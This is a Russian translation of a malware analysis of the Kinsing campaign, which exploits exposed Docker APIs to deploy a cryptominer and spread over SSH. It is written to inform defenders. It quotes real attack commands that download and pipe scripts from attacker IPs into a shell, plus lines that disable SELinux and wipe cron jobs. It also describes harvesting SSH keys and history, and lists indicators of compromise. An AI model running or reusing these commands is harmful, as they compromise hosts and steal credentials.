Целевое заражение Docker-инфраструктуры
Черкашин Михаил,
перевод,
эксперт по средствам защиты информации
Бутузов Юрий,
редактор,
руководитель отдела средств защиты информации
Введение

На сегодняшний день, автоматизация и универсализация нарастают и применение контейнеров как компонентов информационных систем становится вполне обыденной ситуацией. Мы сделали перевод статьи «Threat Alert: Kinsing Malware Attacks Targeting Container Environments» ниже для того чтобы показать, что инфраструктура контейнеров является точно такой же целью для атакующих как любой другой традиционный компонент инфраструктуры. Учитывая новизну и крайне слабую защиту контейнеров или вообще отсутствие таковой, атаки на них с более высокой вероятностью могут принести атакующему успех в реализации атаки и проникновение во внутрь компании, за периметр защиты.
РАЗБОР ЦЕЛЕВОЙ АТАКИ НА DOCKER-ИНФРАСТРУКТУРУ

В последнее время наблюдается рост числа атак, направленных на контейнерные среды. Можно говорить, что прослеживается полноценная вредоносная кампания, нацеленная на неправильно настроенные незащищенные API Docker. Рассматриваемая атака продолжается уже несколько месяцев, и тысячи попыток совершаются почти ежедневно. Это самые высокие показатели, намного превышающие те, что можно было наблюдать до сегодняшнего дня. Вероятнее всего, эти атаки направляются субъектами, обладающими достаточными ресурсами и инфраструктурой, необходимой для осуществления и поддержки таких атак, и едва ли это импровизированные попытки. Ниже приведён график, показывает количество атак по дням.
Рисунок 1 Распределение количества регистрируемых атак на API Docker по дням
В этой вредоносной кампании злоумышленники используют неправильно настроенный порт API Docker для запуска контейнера Ubuntu с вредоносным ПО, которое, в свою очередь, запускает процесс майнинга криптовалюты, а затем пытается распространить вредоносное ПО на другие контейнеры и хосты. Разбор этой атаки, разобранный ниже, раскрывает используемые методы, начиная с эксплуатации открытого порта, с помощью тактики внедрения и горизонтального распространения, вплоть до конечной цели развертывания криптомайнера.
Как начинается атака

Используя незащищенный открытый порт Docker API, злоумышленники могут запустить экземпляр контейнера Ubuntu с использованием следующей команды:
/bin/bash -c apt-get update && apt-get install -y wget cron; service cron start; wget -q -O - 142.44.191.122/d.sh | sh; tail -f /dev/null
Эту команду можно увидеть в каждой атаке в этой кампании, единственное изменение - это IP-адрес, с которого загружается скрипт d.sh. Всего встречались 3 IP-адреса - тот, что в приведенном выше примере, 217.12.221.244 и 185.92.74.42. Приведенная выше команда выполняет следующие действия:

  • Обновление пакетов с помощью команды apt-get
  • Установка wget с помощью apt-get
  • Запуск службы cron.
  • Загрузка скрипта с помощью только что установленного wget.
  • Запуск скрипта и бесконечный цикл чтения файла /dev/null, чтобы контейнер не приостанавливал свою работу.
Видно, что при помощи wget был загружен скрипт и помещен в cron. Данный скрипт будет позже использован для того, чтобы поддерживать работоспособность в рамках запущенного контейнера.
Обход средств защиты и закрепление в системе


Скрипт d. sh, именуемый в дальнейшем «скрипт», содержит более 600 строк. Далее выполняются следующие действия:



  • Скрипт отключает меры безопасности и очищает журналы: echo SELINUX=disabled >/etc/selinux/config
  • Останавливает большинство приложений, в особенности другие обнаруженные вредоносные программы и криптомайнеры
  • Удаляет файлы, связанные с другими вредоносными программами и криптомайнерами, большинство из которых находится в каталоге /tmp
  • Останавливает запущенные конкурирующие вредоносные контейнеры Docker и удаляет их образы из локального репозитория.
  • Загружает вредоносное ПО «kinsing» и запускает его.
  • Использует crontab для загрузки и запуска скрипта каждую минуту
  • Ищет другие команды, запущенные при помощи cron, и, если находит — удаляет все задания cron, включая свои собственные. Сценарий выполняется следующим образом:
crontab -l | sed '/update.sh/d' | crontab –
Запуск Kinsing

Kinsing – это Linux-агент, идентифицируемый сервисом Virus Total (см. Рисунок 2), далее будем называть вредоносное ПО как «Kinsing».
Рисунок 2 Определение ПО kinsing как malware
Беглый взгляд на содержимое данного вредоносного ПО показывает, что это агент Linux на писанный на языке Golang. Он использует несколько библиотек Go, в том числе:

  • go-resty - клиентскую библиотеку HTTP и REST, используемую для связи с C&C-сервером.
  • gopsutil - библиотеку, используемую для мониторинга системы и её процессов.
  • osext - расширение стандартного пакета «os», используемого для запуска двоичных файлов.
  • diskv - хранилище значений ключей на диске.
Запуск вредоносной программы в изолированном окружении и ее мониторинг позволили получить более подробную информацию о ее вредоносных действиях.
Связь с серверами C&C

Прежде чем вредоносная программа приступила к закреплению себя в системе, она пыталась установить связь с серверами в Восточной Европе. Похоже, что для каждой функции, которую выполняет вредоносная программа, есть выделенные серверы:

  • Попытка установить соединение со следующим IP-адресом: 45.10.88.102. Попытки неудачны, поскольку сервер не отвечает.
  • Соединение с адресом 91.215.169.111, который является основным сервером C&C в данной кампании. Вредоносная программа связывается с этим сервером через порт HTTP 80 и отправляет небольшие зашифрованные сообщения через регулярные интервалы каждые несколько секунд.
  • Подключение к серверу с адресом 217.12.221.244/spre.sh, который, как мы предполагаем, обозначает дозагрузку необходимых компонентов, как мы увидим в следующем абзаце, для загрузки скрипта, используемого для целей горизонтального распространения в сети.
  • Подключение к серверу с адресом 193.33.87.219, для загрузки криптомайнера.
Обнаружение и горизонтальное распространение

Скрипт spre.sh, загружаемый основным загрузчиком используется для горизонтального распространения вредоноса через сетевой адаптер зараженного контейнера.

Для обнаружения потенциальных целей и сбора информации, при помощи которой на них необходимо аутентифицироваться – скрипт собирает информацию из конфигурационных файлов, таких как /.ssh/config, .bash_history, /.ssh/known_hosts и подобных им. В ходе разбора, не удалось выявить каких-либо активных методов сканирования, используемых для определения дополнительных целей.

Используя собранную информацию, вредоносная программа затем пытается подключиться по SSH к каждому найденному хосту, используя собранную ранее информацию, чтобы загрузить вышеупомянутый сценарий оболочки и запустить вредоносную программу на других хостах или контейнерах в сети.

На этот раз скрипт для запуска называется spr.sh, но он идентичен сценарию изначального скрипта d.sh, который использовался ранее в последовательности атак для первоначального заражения.

Для распространения ПО вредоносной программы по сети используется следующая команда:
ssh –o StrictHostKeyChecking=no –o BatchMode=yes –o ConnectTimeout=5 -i $key $user@$host -p$sshp "sudo curl -L http://217.12.221.244/spr.sh|sh; sudo wget -q -O - http://217.12.221.244/spr.sh|sh;"

В сценарии скрипта spr.sh был замечен цикл, приостанавливающий его работу на 20 секунд после 20 попыток подключения по SSH и очистку системных событий, что, возможно, указывает на то, что злоумышленники пытаются скрыть свои действия.
Рисунок 3 Скрипт spr.sh
На последнем этапе атаки вредоносная программа запускает криптомайнер kdevtmpfsi. Сервис VirusTotal определяет криптомайнер как Bitcoin miner (см. Рисунок 4).
Рисунок 4 Вердикт по файлу kdevtmpfsi
Криптомайнер подключается к хосту с IP-адресом 193.33.87.219, используя HTTP-запрос, получает дальнейшие инструкции и начинает майнинг криптовалюты.

Приведенная ниже инфографика (см. Рисунок 5) иллюстрирует весь ход атаки:
Рисунок 5 Реализация шагов атаки
Заключение

Эта атака является еще одним примером растущей угрозы для облачных сред. С ростом масштабов развертывания и ростом использования контейнеров злоумышленники всё чаще используют их для своих целей и проводят более амбициозные атаки с растущим уровнем сложности.

Вот краткое описание составных компонентов атаки, сопоставляющих каждый компонент атаки с соответствующей категорией тактики и техники MITRE Att&ck:
Рисунок 6 Разбор атаки по базе MITRE Att&ck
Cписок шагов, на которые следует обратить внимание при построении защиты для контейнерных сред приведён ниже:

  • Знайте все облачные ресурсы и сгруппируйте их по логической структуре.
  • Просмотрите политики авторизации и аутентификации, основные политики безопасности и настройте их в соответствии с применением принципа ограничения привилегий.
  • Сканируйте docker-образы, которые вы используете, чтобы убедиться, что вы понимаете их состав и поведение. Можно использовать сканеры уязвимостей для контейнеров.
  • Исследуйте журналы системных событий, в основном стоит сделать упор вокруг действий пользователя, ищите действия, которые вы не можете объяснить и считаете подозрительными.
  • Сформируйте стратегию безопасности, в которой вы сможете легко применять собственную политику безопасности, подумайте об использовании инструментов облачной безопасности, которые расширят ваши возможности и охват ваших облачных ресурсов.
  • Рекомендуется заблокировать доступ к следующим URL-адресам и индикаторам компрометации:
http://142.44.191.122/d.sh
http://142.44.191.122/kinsing/
http://142.44.191.122/al.sh
http://142.44.191.122/cron.sh
http://142.44.191.122/
http://142.44.191.122/kinsing
http://142.44.191.122/ex.sh
http://185.92.74.42/w.sh
http://185.92.74.42/d.sh
http://217.12.221.244/
http://217.12.221.24/d.sh
http://217.12.221.244/kinsing
http://217.12.221.244/j.sh
http://217.12.221.244/t.sh
http://217.12.221.244/spr.sh
http://217.12.221.244/spre.sh
http://217.12.221.244/p.sh
http://217.12.221.244/Application.jar
http://217.12.221.244/f.sh
http://www.traffclick.ru/
http://www.mechta-dachnika-tut.ru/
http://www.rus-wintrillions-com.ru/
http://rus-wintrillions-com.ru/
http://stroitelnye-jekologicheskie-materialy2016.ru
45.10.88.102
91.215.169.111
193.33.87.219
MD5s:
kinsing - 0d3b26a8c65cf25356399cc5936a7210
kinsing - 6bffa50350be7234071814181277ae79
kinsing - c4be7a3abc9f180d997dbb93937926ad
kdevtmpfsi - d9011709dd3da2649ed30bf2be52b99e
ПОДЕЛИТЬСЯ В СОЦСЕТЯХ